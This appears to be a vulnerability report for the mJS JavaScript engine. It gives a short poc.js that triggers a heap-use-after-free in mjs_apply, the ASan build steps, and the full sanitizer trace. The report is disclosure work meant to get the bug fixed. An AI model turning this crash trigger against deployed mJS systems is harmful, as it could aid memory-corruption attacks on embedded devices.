vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
Test case
poc.js
```javascript
function T(f) {}
function JSEtest(b) {
T.apply.apply(T.apply, []);
if (b < 10)
JSEtest(T.apply, []);
}
JSEtest(0);
```
Execution steps & Output
$ ./mjs/build/mjs poc.js
=================================================================
======ERROR: AddressSanitizer: heap-use-after-free on address 0x6040000000f8 at pc 0x5590f9ee05d6 bp 0x7fff0f0dc5b0 sp 0x7fff0f0dc5a0
READ of size 8 at 0x6040000000f8 thread T0
#0 0x5590f9ee05d5 in mjs_apply src/mjs_exec.c:1156
#1 0x5590f9ee08d4 in mjs_apply_ src/mjs_exec.c:515
#2 0x5590f9ed4244 in mjs_execute src/mjs_exec.c:853
#3 0x5590f9edda05 in mjs_exec_internal src/mjs_exec.c:1073
#4 0x5590f9edda05 in mjs_exec_file src/mjs_exec.c:1096
#5 0x5590f9e9a909 in main src/mjs_main.c:47
#6 0x7f009363db96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#7 0x5590f9e9b449 in _start (/usr/local/bin/Gmjs+0xe449)
0x6040000000f8 is located 40 bytes inside of 48-byte region [0x6040000000d0,0x604000000100)
freed by thread T0 here:
#0 0x7f0093ceff30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30)
#1 0x5590f9facdf8 in mbuf_insert src/common/mbuf.c:90
previously allocated by thread T0 here:
#0 0x7f0093ceff30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30)
#1 0x5590f9facdf8 in mbuf_insert src/common/mbuf.c:90
SUMMARY: AddressSanitizer: heap-use-after-free src/mjs_exec.c:1156 in mjs_apply
Shadow bytes around the buggy address:
0x0c087fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c087fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c087fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c087fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c087fff8000: fa fa fd fd fd fd fd fd fa fa 00 00 00 00 00 00
=>0x0c087fff8010: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd[fd]
0x0c087fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
mJS revision
Commit: b1b6eac
Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
Build steps
Test case
poc.js
Execution steps & Output
Credits: Found by OWL337 team.